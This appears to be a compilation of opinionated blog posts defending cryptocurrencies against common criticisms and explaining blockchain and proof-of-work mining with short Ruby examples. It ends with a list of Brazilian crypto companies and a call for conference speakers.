I can only do that because I am not a loyalist to anything. I don’t pick and defend a single language, or a single OS, or a single manufacturer, or a single market. I find it very unproductive if I see myself just defending stuff.

Believe it or not, Cryptocurrencies are here to stay, for a few years at the very least. I remember the feeling when I tried the commercial Internet back in 1993. It feels like that all over again: an uncharted territory with a lot of potential and a lot of things we can’t even imagine right now.

If you follow me, you also know that I am a big proponent of applying Reason. I hate both extreme hype and FUD. Anyone sharing either is someone that wants to be noticed, free attention, but has nothing actually useful to say. “Oh, it’s gonna reach 100k soon! Buy in!” or “Oh, it’s a tulip bubble, you’re an idiot if you buy in!”. Both extremes are imbeciles.

Education is key to anything. The reasoning is the starting point.

As a big disclaimer: I am not recommending anyone to buy into cryptocurrencies without doing your own due diligence. Anyone doing any recommendations for or against is irresponsible. All I can do is convey a personal opinion and technical analysis. This is my role.

One example: did you know that the so often repeated Tulip Bubble never actually existed? Yes, that shows how quick people are to share memes and fake news without actually doing research.

And it’s even more hilarious in the tech industry, where I see many “evangelists” shouting about the “miracles” of starting your own tech startup in hopes of “disrupting” the industry with yet-another-Uber-derivative. Let’s put this straight: anything can be a bubble.

Gold is only valuable because we created a story around it. Gold can’t be eaten. Gold is not even a very good metal to work with. We just created a story and we agreed to it. The same goes for anything we consider “valuable”. What is a fiat currency? It’s a piece of paper, which is useless by itself. But if we all agree on the same story, that “$100” printed on it makes the paper super valuable.

Such is the power of belief.

Anything that we do requires some level of faith. If I perform a job to someone else, I need to have the faith that I will be paid in the future. The confidence comes from a piece of signed paper or even a simple e-mail, and the trust that institutions will help me enforce this payment if need be.

It’s all stories, faith, and beliefs. If you didn’t already, I highly recommend you read Yuval Harari’s “Homo Sapiens” to understand how stories shape our history.

That being said, I find it hilarious that techies considered “serious” are super quick to shout out “this is a scam!” or “this is a bubble!” without giving it 1 second of consideration, check the fundamentals and check the sources. Engineers should know better, and that exposes who actually know how to do proper analysis and who just follow herds blindly.

You can’t say that I was wrong if, for any reason, cryptocurrencies explode tomorrow all of a sudden. Nor that the naysayers were right. This is important: anything in the future is impossible to predict. You have to play the odds. If you don’t have confidence, don’t gamble. But creating stories to justify ignorance is beyond disappointing.

The interesting part about the financial markets is teaching people how to deal with improbability. I have been evangelizing Nassim Taleb in this blog for years, since the 2008/2009 economic collapse. We learned a lot. We learned about “Black Swans” and how to become “Antifragile” and, in good timing, how to have “Skin in the Game”. Engineers should have more of this knowledge, they would come up with much better solutions.

Answering some specific FUDs I have been reading:

“It’s a bubble!”

It may be. As I said, the tech industry is a bubble for all we know. It only requires a few VCs to collude and pull back and leave a bomb to explode behind. Everything is just stories, no matter how much you value something. That’s it.

How do you operate in a bubble? In an antifragile way. First of all, if you’re uninitiated, never, ever invest everything you have. Only invest an amount that, if you lose everything, you won’t be left to die. This is Investment-101.

Try to buy at the lows, and perhaps sell at the highs. Or plan long-term and HODL for a few years. If you need quick returns, learn how to deal with stop-loss orders, for example. Don’t try to outsmart the market if you don’t have trading experience. Or do, but don’t complain when you lose.

Losses or profits, it’s all on you and you alone, not “the market” or “the speculators”. Everybody is an adult. Adults should take responsibility for their own acts. If they lost money in a gamble they didn’t understand, it’s their fault.

“Mining consumes more energy than certain small countries!”

It doesn’t matter. First and foremost, they are not draining free energy. Every miner is paying for it. Now you will see why it’s so bad when governments interfere with free markets. If some country subsidizes the energy, then the supply and demand formula will fail. Obviously.

And techies should know this better. There never was enough bandwidth in ground telephone lines for everybody on the planet to connect to the internet. We had to evolve infrastructure, a lot. We had to add submarine lines. We had to go from dialed modems to ISDN, to cable modems, etc.

Proof of work based mining consumes a heck of a lot of energy, and for good reason. We are trading off energy for integrity. But this is not the only alternative. There are proof of stake implementations starting to be deployed in other alt-coins which are super energy efficient while providing similar levels of trust in the consensus.

The point is that technology evolves fast, you can’t extrapolate into the future based on what we have now. It’s like someone in 1993 saying “the commercial internet can’t happen because telephone lines are too slow if we ever want to have video streaming services”.

“Bitcoin is too centralized, it is too dangerous!”

If you’re a programmer and still don’t know exactly what mining means, I recommend you read my previous article about it first.

Mining is not deterministic. Even if you have the best hardware ever, it’s not guaranteed that you will mine the block first. It’s more like a raffle.

Which is why miners organize into pools, which share the gains between the members.

The concern is that 4 of the biggest pools, AntPool, ViaBTC, BTC.com, and BTC.TOP “control” 62% of the world’s hashpower..

It’s said that anyone controlling 51% of the hashpower could launch a hack attack against the blockchain, being able to rewrite blocks in the recent past and allowing double-spend, for example.

But in practice, it’s not that easy.

It is expensive to mine. USD 20,000 in equipment can only mine around USD 11 per day, without subtracting all the costs including the depreciation of the machines. Anything other than mining is very risky and unprofitable. The system is built in a way that hackers would have to spend so much money at such high risks that it’s easier to just follow the rules.

And again, the alt-coins and forks are experimenting into new ways to make it even harder in the future.

“Visa performs thousands of transactions per second. Bitcoin can never do that!”

Again, this is a useless argument. It’s like saying “gold can’t be exchanged fast enough, it will never be good”.

We already have several alt-coins such as Litecoin and others trying to solve the problem of fast transactions. Consider that all alt-coins are kind of tied to Bitcoin, the same as the dollar used to be tied to the gold. And if the so-called Lightning Network ever goes live, we can cross boundaries between blockchains more easily as well.

Visa doesn’t transact dollar “bills”, they make virtual transactions in their internal databases. Only when the merchant withdraws, it’s converted to fiat dollars.

You can easily add Bitcoin to the mix of options in a Visa transaction system. That’s how a credit card works today. You only pay 30 days later. And it works. What’s the matter?

And again, we will solve this in time. Let the technologies mature and demand starts to need it and the solution will come up.

“It doesn’t serve any social function.”

Most of the criticism against cryptocurrencies comes from the “elite” population in first world countries. If you’re a white person in the USA, with a good income in dollars or someone similar in Europe, with lots of Euro. You are mostly concerned with “Bitcoin is too slow for me to buy goods at the shopping mall” or “the transaction fees are too high for my daily Starbuck’s coffee”. And you start shouting that “Bitcoin serves no social function”.

But this is absurd. You don’t live in South America, Africa, Southeast Asia. You are not in Venezuela where their currency was broken by the current dictatorship. Can you imagine your beloved dollar bill worth less than toilet paper?

You don’t live in Zimbabwe where the army seized power. You don’t live in Asia, a place under constant threat of nuclear missiles on their heads coming from crazy dictator Kim Jong-Un.

So, yeah it doesn’t serve a social function in your daily sugar intake from 7-eleven. It’s too slow to buy 2 gallon super gulps and the fees are too high. But if you live anywhere in the world where the government poses a threat to their citizens, having an unregulated, decentralized, store of value, which you can easily take out of the offending country, is a life saver. Even in countries like mine, Brazil, you don’t want to have everything in Reais in case dictator-wannabes like Lula or Bolsonaro actually go crazy and coup.

“I don’t see it. I just don’t see it. And I don’t care.”

This is the most honest thing to say, at least it’s assuming your own ignorance and your own lack of interest.

And there is a good reason for that. In terms of tech, the USA follows what Silicon Valley says. And many other countries just keep repeating what comes from there. So techies are used to following what Google or Facebook or Apple are saying.

Now, the blockchain technology didn’t come from them directly. It’s not a Google product. And worse, it touches their fragile moral beliefs. They think it’s ok to receive huge amounts of VC money as a “reward” for what they “believe”, their “culture”, their arbitrary “values”. They don’t believe in making their own money. And even though VCs are from the financial market, techies despise Wall Street and the financials. The Starbuck’s hipsters hate the suit and tie traders and their so-called “dirty tactics” to make money.

It’s hilarious actually; in the end, they all want one thing, and one thing only: more money. But hipsters are very hypocritical when it comes to saying that. “I don’t want money, I want to disrupt the market”. Yeah, right, keep telling yourself that.

Now, consider that this whole cryptocurrency buzz is not coming from the West. It’s all from Asia. Japan, South Korea, Singapore, China, they are the ones steering the market. Japan, as a country, has already regulated and accepted Bitcoin as proper currency and they have 60% of the market share, alone.

This is a heavily Asian driven phenomenon. And we are just getting started.

So this is not an “if it happens” scenario. It already did. Biggies like the CME Group, Nasdaq will start having Bitcoin offerings. We are lagging behind discussing stupid trivial issues that will be fixed in the long run.

Cryptocurrencies are here to stay. My recommendation if you are truly someone that values knowledge: learn about it.

Now, this is a fair question. If you know anything about the blockchain architecture, you instinctively conclude that “no”, it’s quite improbable that anyone will break it. In practice, it’s basically impossible.

It’s quite amazing that most of my peer programmers have a very difficult time overcoming the prejudice against cryptocurrencies. I have no idea where this prejudice comes from, but I know very smart people that can solve the most difficult web scalability problems, but that never once glanced over Satoshi Nakamoto’s extremely short original paper describing the blockchain.

Seriously, the Bitcoin: A Peer-to-Peer Electronic Cash System paper is so ridiculously small and easy to understand that most computer science students should be able to understand it. So all the smart programmers I know should be able to grasp it in a coffee break. Any average programmer should be able to read and understand this paper in 30 minutes or so.

You can simplify a mental model of it as a Linked List, each node of the List is what we call a Block. Each Block is a stupid struct with the usual previous/next pointers and a body comprised of a tree-like structure (a Merkle Tree, to be more exact).

The catch is that each block has the hash signature of the previous block, thus creating a secure “chain”. Hence “block-chain”.

Yes, in computer science terms, we’re dealing with undergraduate levels of data structures here. If you understand a Linked List and a stupid Binary Tree, plus the easiest crypto thing to understand, a simple digest hash such as SHA256, and boom, you understand the basic backbone of the blockchain database.

Yes, it is just a database. A distributed-database to be more exact. Or a very crude and simple distributed database for that matter. It is not very efficient, and it pales in comparison to more serious NoSQL distributed databases such as Redis or Cassandra. So the query-abilities are basically non-existent beyond finding a block by its identity.

Of course, the Bitcoin source-code is more sophisticated than that but the basics are really so ridiculous that you don’t need more than 20 lines of Ruby code to replicate it. Check out this example implementation from Gerald Bauer.

require "digest"    # for hash checksum digest function SHA256

class Block

  attr_reader :index
  attr_reader :timestamp
  attr_reader :data
  attr_reader :previous_hash
  attr_reader :hash

  def initialize(index, data, previous_hash)
    @index         = index
    @timestamp     = Time.now
    @data          = data
    @previous_hash = previous_hash
    @hash          = calc_hash
  end

  def calc_hash
    sha = Digest::SHA256.new
    sha.update( @index.to_s + @timestamp.to_s + @data + @previous_hash )
    sha.hexdigest
  end


  def self.first( data="Genesis" )    # create genesis (big bang! first) block
    ## uses index zero (0) and arbitrary previous_hash ("0")
    Block.new( 0, data, "0" )
  end

  def self.next( previous, data="Transaction Data..." )
    Block.new( previous.index+1, data, previous.hash )
  end

end

I know, right!?

One question remains: how does this simple structure become a “distributed” database?

Now, either you need to have a centralized “master-copy” out of which all other copies replicate from. Or you need some form of “consensus” between the different copies.

How do you reach consensus between rogue, random nodes spread across the globe? This is the problem that is called “Byzantine Fault Tolerance”, masterfully explained and solved by Barbara Liskov and Miguel Castro, from MIT, in 1999.

In a nutshell, imagine that you have Byzantine generals, each with their own armies, surrounding a hostile city. Now, you can either attack or retreat. But all generals must either do one or the other, in consensus. How do you reach consensus when you don’t have direct communication with all the generals and, worse, when some of the generals may be traitors or double-agents?

That’s the kind of problem we face here. Anyone on the internet can download a copy of the blockchain, and they can check that the blocks are valid and unadulterated by recomputing the digest hashes for each block.

But how do you add new blocks and make the other nodes accept your new block?

That’s why Satoshi added the so-called “Proof of Work” to the equation. Remember that I said that each block is chained together to the previous by containing the hash of the previous block? Computing a digest hash is quite trivial these days.

In Ruby if you do:

Digest::SHA256.hexdigest("abcd")
# => "88d4266fd4e6338d13b845fcf289579d209c897823b9217da3e161936f031589"
Digest::SHA256.hexdigest("123")
# => "a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3"

It takes a fraction of a millisecond to run.

Now, what if I ask you to find the hash that starts with a certain amount of “zeroes” in the beginning of the hash?

For example:

# I want to find 4 zeros ("0000") in the hash:
Digest::SHA256.hexdigest("79026" + "123")
# => "0000559fb4a55f135c7db3d83405b86b4b63cd035993873a5b676bae08b64334"

How do I know that I had to prepend “79026”? I don’t, I have to start from 0 and incrementing one by one until I find the hash with the format I want.

If we check Gerald’s example we would implement this lookup like this:

def compute_hash_with_proof_of_work( difficulty="00" )
  nonce = 0
  loop do
    hash = calc_hash_with_nonce( nonce )
    if hash.start_with?( difficulty )
      return [nonce,hash]    ## bingo! proof of work if hash starts with leading zeros (00)
    else
      nonce += 1             ## keep trying (and trying and trying)
    end
  end
end

def calc_hash_with_nonce( nonce=0 )
  sha = Digest::SHA256.new
  sha.update( nonce.to_s + "123" )
  sha.hexdigest
end

Just a simple SHA256 takes somewhere between 0.000010 to 0.000020 seconds (remember: fractions of milliseconds). Now how long does it take to find that “79026” (which we call a “nonce”)?

> puts Benchmark.measure { compute_hash_with_proof_of_work("0000") }
  0.190000   0.000000   0.190000 (  0.189615)

Yep, considerably more, now it takes 0.18 seconds instead of 0.000020. We can increase the “difficult” variable to make it even more laborious to find the nonce. And that’s exactly how Bitcoin is implemented: each block adjusts the difficulty so that the fastest time to find the hash for the next block is around 10 minutes.

And this, my friends, is what we call “MINING”. What a miner does is compute a loop, incrementing nonces, over the block digest to find the correct nonce.

Once a nonce is found, the miner can add the block to the blockchain and broadcast it to other nodes. The other nodes can then double-check (and now it’s just the 0.000020 seconds procedure again, super fast).

When the nodes double-check and confirm the nonce, they all add the block to the top of the blockchain. And usually, when the other miners keep adding other blocks on top of that, that block becomes “solidified”. The most recent block on the top of the blockchain is usually unstable, but once you have more blocks on top of it, it is said to be more “guaranteed”. Which is why most exchanges and other services that accept bitcoin wait for the so-called “6 blocks” confirmation.

And because the difficulty is such that the fastest node takes around “10 minutes” to find that nonce, a block is said to be “secure” when around 1 hour passes and 6 blocks are added after it.

Can we break this?

Now, you will understand why we talk about “hash power” when we talk about mining.

Mining is the act of signing and confirming blocks to the blockchain. It’s a maintenance service, which is why you reward miners with “transaction fees” and a couple of “satoshis” (fractions of 1 Bitcoin), for their work. And also why you call this “Proof of Work” because when someone finds a nonce, we know it had to go through a lot of hash computation to reach it.

And also why we talk about CPUs or GPUs that miners use to have “hash rates”. You need to have an absurd capacity to be able to mine Bitcoins nowadays. No one will use a home-built rig to do it. One must build special hardware, such as the famous AntMiners. A USD 1,500 AntMiner S9 is able to compute around 14 TH.

Each crypto-currency different from Bitcoin calculates hashes differently so the hashrate differs from coin to coin.

The current Hash Power of the entire Bitcoin consensus network is almost reaching 14 EH (exa-hashes or millions of tera-hashes).

So, let’s say that I am a billionaire and I want to troll the Bitcoin community by adding enough hash power to surpass the entire hash power of the network. I’d have to buy 1 million AntMiner s9, or an investment of around USD 1.5 billion! And this is without adding the energy required to boot and run those machines, of course.

But even then, do you know what happens? Remember that difficulty variable I mentioned above? It will adjust again, to make sure the next block takes 10 minutes to compute again!

Then, no, even if you’re willing to put USD 1.5 billion to waste, you won’t break it. And that’s how Bitcoin deals with Byzantine generals in this consensus network.

Out of curiosity, I asked over there whether anyone knew of companies or people working in this area here in Brazil, and the list I got back turned out pretty interesting. Worth sharing the recommendations with everyone.

• Auctus - alt-coin ICO
• Original My - proof-of-authenticity
• Laivon - looks like they develop mobile apps and some of them are cryptocurrency trackers
• OpenDime - another hardware stick wallet - they say there are Brazilians working there too
• HugPay - a way to send remittances to/from abroad without needing a bank account, in partnership with lottery shops (good idea)
• Blocko Ventures - I didn’t quite get whether they’re a services company or investors in blockchain solutions
• Kriptacoin - just another alt-coin (see comments)
• BlinkTrade - looks like an exchange infrastructure (I think Foxbit and others might use it, though I haven’t confirmed) and was founded by Brazilians
• Stone Pagamentos - said they’re helping companies accept payments in cryptocurrencies.

I want to hear about more Brazilian companies and professionals in the bitcoin and cryptocurrency ecosystem in general. I’m especially looking for speakers who know the subject and are doing hands-on coding, to speak (in English) at the conference I’m organizing, THE CONF. If you know of anyone, send them in the comments section.

I did think about writing about blockchain or cryptocurrencies, since I’ve been studying and investing quite a bit. But everything you need to know is already accessible in countless blogs and sites, in English and in Portuguese, and there’s no point in explaining it all again.

What interests me is knowing where people’s biggest questions are on the subject, so I can try to dig into some specific aspect. Comment about that too.